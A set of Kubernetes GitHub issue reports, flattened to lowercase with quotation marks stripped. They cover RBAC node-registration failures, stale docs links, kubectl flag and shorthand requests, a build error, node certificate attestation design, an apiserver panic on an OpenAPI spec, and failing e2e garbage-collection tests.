2017-06-16t05:37:06z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : vsphere\r -   os    e.g. from /etc/os-release : photon\r -   kernel    e.g.  uname -a  : linux master 4.4.8-esx  1-photon smp tue jun 7 08:04:49 utc 2016 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r started api server with rbac enabled on the master node. used  \ --authorization-mode=rbac\   flag. \r \r spec from kube-apiserver.json\r    \r     \ spec\ : {\r         \ containers\ :  \r             {\r                 \ command\ :  \r                     \ /hyperkube\ ,\r                     \ apiserver\ ,\r                     \ --address=127.0.0.1\ ,\r                     \ --etcd-servers=http://127.0.0.1:2379\ ,\r                     \ --cloud-provider=vsphere\ ,\r                     \ --admission-control=namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,resourcequota\ ,\r                     \ --service-cluster-ip-range=10.0.0.0/16\ ,\r                     \ --client-ca-file=/srv/kubernetes/ca.pem\ ,\r                     \ --tls-cert-file=/srv/kubernetes/apiserver.pem\ ,\r                     \ --tls-private-key-file=/srv/kubernetes/apiserver-key.pem\ ,\r                     \ --secure-port=443\ ,\r                     \ --storage-backend=etcd2\ ,\r                     \ --allow-privileged\ ,\r                     \ --authorization-mode=rbac\ ,\r                     \ --v=4\ ,\r                     \ --cloud-config=/etc/kubernetes/vsphere.conf\ \r                  ,\r    \r \r \r node vms are not able to register to the master node.\r \r logs from node vm.\r \r    \r {\ log\ :\ i0617 06:33:11.702223     697 kubelet_node_status.go:80  attempting to register node node1\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:33:11.702884548z\ }\r {\ log\ :\ e0617 06:33:11.704772     697 kubelet_node_status.go:104  unable to register node \\\ node1\\\  with api server: user \\\ kubernetes-node_certificate\\\  cannot create nodes at the cluster scope.  post nodes \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:33:11.704902558z\ }\r {\ log\ :\ e0617 06:33:11.706422     697 event.go:200  server rejected event '\\u0026v1.event{typemeta:v1.typemeta{kind:\\\ \\\ , apiversion:\\\ \\\ }, objectmeta:v1.objectmeta{name:\\\ node1.14c8d50d732a19e2\\\ , generatename:\\\ \\\ , namespace:\\\ default\\\ , selflink:\\\ \\\ , uid:\\\ \\\ , resourceversion:\\\ \\\ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\\\ \\\ }, involvedobject:v1.objectreference{kind:\\\ node\\\ , namespace:\\\ \\\ , name:\\\ node1\\\ , uid:\\\ node1\\\ , apiversion:\\\ \\\ , resourceversion:\\\ \\\ , fieldpath:\\\ \\\ }, reason:\\\ nodehassufficientdisk\\\ , message:\\\ node node1 status is now: nodehassufficientdisk\\\ , source:v1.eventsource{component:\\\ kubelet\\\ , host:\\\ node1\\\ }, firsttimestamp:v1.time{time:time.time{sec:63633277929, nsec:844120034, loc:  time.location  0x91f42a0 }}, lasttimestamp:v1.time{time:time.time{sec:63633277991, nsec:702191698, loc:  time.location  0x91f42a0 }}, count:15, type:\\\ normal\\\ }': 'user \\\ kubernetes-node_certificate\\\  cannot patch events in the namespace \\\ default\\\ .  patch events node1.14c8d50d732a19e2 '  will not retry! \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:33:11.706869462z\ }\r {\ log\ :\ e0617 06:33:11.707987     697 event.go:200  server rejected event '\\u0026v1.event{typemeta:v1.typemeta{kind:\\\ \\\ , apiversion:\\\ \\\ }, objectmeta:v1.objectmeta{name:\\\ node1.14c8d50d732a3bef\\\ , generatename:\\\ \\\ , namespace:\\\ default\\\ , selflink:\\\ \\\ , uid:\\\ \\\ , resourceversion:\\\ \\\ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\\\ \\\ }, involvedobject:v1.objectreference{kind:\\\ node\\\ , namespace:\\\ \\\ , name:\\\ node1\\\ , uid:\\\ node1\\\ , apiversion:\\\ \\\ , resourceversion:\\\ \\\ , fieldpath:\\\ \\\ }, reason:\\\ nodehassufficientmemory\\\ , message:\\\ node node1 status is now: nodehassufficientmemory\\\ , source:v1.eventsource{component:\\\ kubelet\\\ , host:\\\ node1\\\ }, firsttimestamp:v1.time{time:time.time{sec:63633277929, nsec:844128751, loc:  time.location  0x91f42a0 }}, lasttimestamp:v1.time{time:time.time{sec:63633277991, nsec:702199899, loc:  time.location  0x91f42a0 }}, count:15, type:\\\ normal\\\ }': 'user \\\ kubernetes-node_certificate\\\  cannot patch events in the namespace \\\ default\\\ .  patch events node1.14c8d50d732a3bef '  will not retry! \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:33:11.708452386z\ }\r {\ log\ :\ e0617 06:33:11.710181     697 event.go:200  server rejected event '\\u0026v1.event{typemeta:v1.typemeta{kind:\\\ \\\ , apiversion:\\\ \\\ }, objectmeta:v1.objectmeta{name:\\\ node1.14c8d50d732ab476\\\ , generatename:\\\ \\\ , namespace:\\\ default\\\ , selflink:\\\ \\\ , uid:\\\ \\\ , resourceversion:\\\ \\\ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\\\ \\\ }, involvedobject:v1.objectreference{kind:\\\ node\\\ , namespace:\\\ \\\ , name:\\\ node1\\\ , uid:\\\ node1\\\ , apiversion:\\\ \\\ , resourceversion:\\\ \\\ , fieldpath:\\\ \\\ }, reason:\\\ nodehasnodiskpressure\\\ , message:\\\ node node1 status is now: nodehasnodiskpressure\\\ , source:v1.eventsource{component:\\\ kubelet\\\ , host:\\\ node1\\\ }, firsttimestamp:v1.time{time:time.time{sec:63633277929, nsec:844159606, loc:  time.location  0x91f42a0 }}, lasttimestamp:v1.time{time:time.time{sec:63633277991, nsec:702208029, loc:  time.location  0x91f42a0 }}, count:15, type:\\\ normal\\\ }': 'user \\\ kubernetes-node_certificate\\\  cannot patch events in the namespace \\\ default\\\ .  patch events node1.14c8d50d732ab476 '  will not retry! \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:33:11.710360503z\ }\r {\ log\ :\ e0617 06:33:12.143901     697 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: user \\\ kubernetes-node_certificate\\\  cannot list pods at the cluster scope.  get pods \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:33:12.144158629z\ }\r {\ log\ :\ e0617 06:33:12.145993     697 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: user \\\ kubernetes-node_certificate\\\  cannot list nodes at the cluster scope.  get nodes \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:33:12.146180664z\ }\r {\ log\ :\ e0617 06:33:12.146045     697 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: user \\\ kubernetes-node_certificate\\\  cannot list services at the cluster scope.  get services \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:33:12.146203213z\ }\r    \r \r logs from master vm\r    \r \r {\ log\ :\ i0617 06:32:41.983168       1 rbac.go:114  rbac deny: user \\\ kubernetes-node_certificate\\\  groups  \\\ kubernetes-anywhere\\\  \\\ system:authenticated\\\   cannot \\\ list\\\  resource \\\ nodes\\\  cluster-wide\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:32:41.983227779z\ }\r {\ log\ :\ i0617 06:32:41.983208       1 authorization.go:58  forbidden: \\\ /api/v1/nodes?fieldselector=metadata.name%3dnode1\\u0026resourceversion=0\\\ , reason: \\\ \\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:32:41.983246584z\ }\r {\ log\ :\ i0617 06:32:41.983287       1 wrap.go:42  get /api/v1/nodes?fieldselector=metadata.name%3dnode1\\u0026resourceversion=0:  518.851µs  403   hyperkube/v1.8.0  linux/amd64  kubernetes/7831a54  10.162.57.253:53774 \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:32:41.983304058z\ }\r {\ log\ :\ i0617 06:32:41.983505       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings?resourceversion=0:  269.326µs  200   hyperkube/v1.8.0  linux/amd64  kubernetes/7831a54  127.0.0.1:41580 \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:32:41.983561467z\ }\r {\ log\ :\ i0617 06:32:41.983754       1 rbac.go:114  rbac deny: user \\\ kubernetes-node_certificate\\\  groups  \\\ kubernetes-anywhere\\\  \\\ system:authenticated\\\   cannot \\\ list\\\  resource \\\ pods\\\  cluster-wide\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:32:41.983813506z\ }\r {\ log\ :\ i0617 06:32:41.983791       1 authorization.go:58  forbidden: \\\ /api/v1/pods?fieldselector=spec.nodename%3dnode1\\u0026resourceversion=0\\\ , reason: \\\ \\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-06-17t06:32:41.983829892z\ }\r    \r \r \r \r \r   what you expected to happen  :\r node should be registered to the master node. are we missing any configuration in the node vms?\r \r \r   how to reproduce it    as minimally and precisely as possible :\r just enabled \ --authorization-mode=rbac\  on the api server on master node. no configuration change on the node vms.\r \r   anything else we need to know  :\r \r cc: @sandeeppissay\r \r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r there are still links in the autogenerated docs  types.go files  to the deprecated  /docs/user-guide/  directory in k8s.io. \r \r   what you expected to happen  :\r these need to be updated so that they go to the correct refactored docs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see: https://github.com/kubernetes/kubernetes/search?utf8=%e2%9c%93&q=%2fuser-guide%2f&type=\r \r   anything else we need to know?  :\r related to  kubernetes/kubernetes.github.io 4194  https://github.com/kubernetes/kubernetes.github.io/issues/4194 \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6+\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others: http://kubernetes.io\r

   \r \r   what happened  :\r \r    \r $ kubectl create namespace dev --labels=purpose=test\r error: unknown flag: --labels\r    \r \r   what you expected to happen  :\r \r i expect  --labels / -l  to work on pretty much all resources that can be created with  kubectl create . missing labels flag for namespace is creating asymmetry and friction.\r \r i had to write a yaml file to create a namespace with a label.\r \r kubectl: 1.7.2.

\r   k8s.io/kubernetes/pkg/kubelet/eviction\r pkg/kubelet/eviction/threshold_notifier_unsupported.go:25: newmemcgthresholdnotifier redeclared in this block\r         previous declaration at pkg/kubelet/eviction/threshold_notifier_linux.go:38\r    \r   /area build-release

 \r cc @mikedanese \r cc @kubernetes/sig-auth-feature-requests \r cc @kubernetes/sig-cluster-lifecycle-feature-requests \r \r tl;dr - how much of this do we actually want to do in-tree?\r \r    background\r \r today, kubelets present csrs without any additional data. approval process look at an individual csr and generally say \ this bootstrapping token is allowed to request a client cert, so i'll approve it.\  for most installs, bootstrapping tokens are allowed to request certificates for _any_ node. there's no recommended way for saying \ this token is only valid for this exact node name\  and our in-tree approvers isn't expressive enough to enforce this.\r \r this is a blocker for kubelet serving certificate rotation https://github.com/kubernetes/features/issues/267. we want to be able to validate that we're issuing a serving cert to the right server.\r \r we want to solve this problem through real attestation where a node actually presents some evidence that it's the node that's in the csr cn and/or sans. potential kinds of attestation include:\r \r   acme challenges\r     proposal by @mikedanese: https://docs.google.com/document/d/1l85qgbh-coycst7ksuc12vyor7rvdmhpj5kmb1fdns4/edit?ts=590a3fa5\r   cloud metadata apis for validating instances\r     gce: https://cloud.google.com/compute/docs/instances/verifying-instance-identity\r     aws  this strategy is contentions : https://docs.aws.amazon.com/awsec2/latest/userguide/instance-identity-documents.html\r   tpm values\r \r there are no plugin points for the kubelet csr flows today, though https://github.com/kubernetes/kubernetes/issues/55968 was intended to be a way of adding additional data to the csr request.\r \r on the approver side, we also want to be able to consult a machine catalog to ensure the node is actually in our cluster. \ is this instance in our auto-scaling group?\ \r \r    open questions\r \r as more installs start adopting the kubelet rotation, my question is:\r 1. is https://github.com/kubernetes/kubernetes/issues/55968 + a custom authenticator a sufficient plugin mechanism for attestation?\r 2. are there plans for other plugin mechanisms?\r 3. do we just want to do this externally to the kubelet and have an out-of-tree node agent in charge of the csr and attestation?\r \r the more i think about this, the more i'm leaning towards option 3. just externalize the whole thing instead of trying to design a plugin mechanism.\r \r would like to hear others' thoughts, because i'm a little unclear about where this feature is headed.

we should show these conditions - so as user can see status of pvc wrt to resizing operations.\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  : when attempting to set up a python-flask backed apiservice; upon adding an  /openapi/v2  route, the kube-apiserver process panicked and the container failed repeatedly until i was able to stop the new extension's pod manually.\r    \r i0423 18:55:11.071026       1 controller.go:105  openapi aggregationcontroller: processing item v1.flask.k8s.io\r e0423 18:55:13.110177       1 runtime.go:66  observed a panic: \ assignment to entry in nil map\   assignment to entry in nil map \r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:509\r /usr/local/go/src/runtime/panic.go:491\r /usr/local/go/src/runtime/hashmap.go:523\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-openapi/pkg/aggregator/aggregator.go:338\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-openapi/pkg/aggregator/aggregator.go:230\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/aggregator.go:210\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/aggregator.go:226\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/aggregator.go:245\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/aggregator.go:287\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/controller.go:141\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/controller.go:74\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/controller.go:107\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/controller.go:93\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/controller.go:87\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r /workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r /usr/local/go/src/runtime/asm_amd64.s:2337\r panic: assignment to entry in nil map  recovered \r \tpanic: assignment to entry in nil map\r \r goroutine 1765  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x111\r panic 0x35bbea0, 0x7c9cec0 \r \t/usr/local/go/src/runtime/panic.go:491 +0x283\r k8s.io/kubernetes/vendor/k8s.io/kube-openapi/pkg/aggregator.mergespecs 0xc43166e500, 0xc42a7ecf00, 0x101, 0xc4300d8c80, 0xc43166e500 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-openapi/pkg/aggregator/aggregator.go:338 +0x106e\r k8s.io/kubernetes/vendor/k8s.io/kube-openapi/pkg/aggregator.mergespecsignorepathconflict 0xc43166e500, 0xc42a7ecf00, 0x0, 0x0 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-openapi/pkg/aggregator/aggregator.go:230 +0x3c\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.  specaggregator .buildopenapispec 0xc42a834ba0, 0x3, 0x0, 0x0 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/aggregator.go:210 +0x2fc\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.  specaggregator .updateopenapispec 0xc42a834ba0, 0xc42a834bd0, 0xc42949b2f0 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/aggregator.go:226 +0xbd\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.  specaggregator .tryupdatingservicespecs 0xc42a834ba0, 0xc42f4e71e0, 0x1, 0x1 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/aggregator.go:245 +0xcc\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.  specaggregator .updateapiservicespec 0xc42a834ba0, 0xc429e356a0, 0xf, 0xc43166e300, 0xc429514f20, 0xa3, 0x0, 0x0 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/aggregator.go:287 +0x1c7\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.  aggregationcontroller .sync 0xc42289aab0, 0xc429e356a0, 0xf, 0xc421e39de0, 0x1, 0x1 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/controller.go:141 +0x1d7\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.  aggregationcontroller . k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.sync -fm 0xc429e356a0, 0xf, 0xc421e39de0, 0x1, 0x1 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/controller.go:74 +0x3e\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.  aggregationcontroller .processnextworkitem 0xc42289aab0, 0x633a00 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/controller.go:107 +0x14f\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.  aggregationcontroller .runworker 0xc42289aab0 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/controller.go:93 +0x2b\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.  aggregationcontroller . k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.runworker -fm  \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/controller.go:87 +0x2a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc42d2e5490 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x5e\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc42d2e5490, 0x3b9aca00, 0x0, 0x45d301, 0xc420204a80 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc42d2e5490, 0x3b9aca00, 0xc420204a80 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r created by k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.  aggregationcontroller .run\r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/controller.go:87 +0x179\r    \r \r   what you expected to happen  : when processing the openapi specification, kube-apiserver either completes the process successfully, or fails to process the response and otherwise continues to operate normally.\r \r   how to reproduce it  as minimally and precisely as possible   :\r have an apiservice respond to requests for  /openapi/v2  with the following json:\r    \r {\r    \ swagger\ : \ 2.0\ ,\r    \ info\ : {\r     \ title\ : \ flask test api\ , \r     \ version\ : \ 1.0.0\ \r   }, \r   \ paths\ : {\r     \ /apis/flask.example.com/v1\ : {\r       \ get\ : {\r         \ description\ : \ \ , \r         \ responses\ : {\r           \ 200\ : {\r             \ description\ : \ ok\ \r           }\r         }, \r         \ summary\ : \ get the api resources.\ , \r         \ tags\ :  \r           \ test\ \r          \r       }\r     }, \r     \ /apis/flask.example.com/v1/exampleresources\ : {\r       \ get\ : {\r         \ description\ : \ \ , \r         \ responses\ : {\r           \ 200\ : {\r             \ description\ : \ ok\ \r           }\r         }, \r         \ summary\ : \ get list of ips.\ , \r         \ tags\ :  \r           \ test\ \r          \r       }\r     }\r   }\r }\r \r    \r \r   anything else we need to know?  : n/a\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: 3 metal nodes\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux kubernetes1 4.4.0-119-generic  143-ubuntu smp mon apr 2 16:08:24 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kubeadm 1.10\r - others: n/a

feature request:\r \r can you please provide short name for  describe  as  desc ? this will save 4 less letters to type in many  kubectl  commands? \r \r i already use alias  k  for  kubectl ,  kc  for  kubectl -n kube-system  and  ki  for  kubectl -n istio-system . for people like me who type with 2 fingers, short names are very helpful.\r \r thank you.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \ garbage collection test:\  e2e_node tests are failing because of grpc connection issue.\r following e2e_node tests are failing -\r -  k8s.io  garbagecollect  serial  nodefeature:garbagecollect  garbage collection test: many restarting containers  should eventually garbage collect containers when we exceed the number of dead containers per container\r -  k8s.io  garbagecollect  serial  nodefeature:garbagecollect  garbage collection test: many pods with many restarting containers  should eventually garbage collect containers when we exceed the number of dead containers per container\r -  k8s.io  garbagecollect  serial  nodefeature:garbagecollect  garbage collection test: one non-restarting container  should eventually garbage collect containers when we exceed the number of dead containers per container\r \r   how to reproduce it  as minimally and precisely as possible   :\r    make    creates e2e_node.test binary as    _output/bin/e2e_node.test\    \r run    _output/bin/e2e_node.test --ginkgo.focus \ garbage collection test:\    \r \r   anything else we need to know?  :\r stdout of test execution:\r    \r ------------------------------\r  k8s.io  garbagecollect  serial  nodefeature:garbagecollect  garbage collection test: one non-restarting container\r   should eventually garbage collect containers when we exceed the number of dead containers per container\r   /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:187\r  beforeeach   k8s.io  garbagecollect  serial  nodefeature:garbagecollect \r   /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:144\r step: creating a kubernetes client\r step: building a namespace api object, basename garbage-collect-test\r aug 30 11:36:08.849: info: no podsecuritypolicies found; assuming podsecuritypolicy is disabled.\r aug 30 11:36:08.849: info: skipping waiting for service account\r  beforeeach   k8s.io  garbagecollect  serial  nodefeature:garbagecollect \r   /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:146\r  beforeeach   k8s.io  garbagecollect  serial  nodefeature:garbagecollect \r   /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:146\r  beforeeach   k8s.io  garbagecollect  serial  nodefeature:garbagecollect \r   /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:146\r  beforeeach  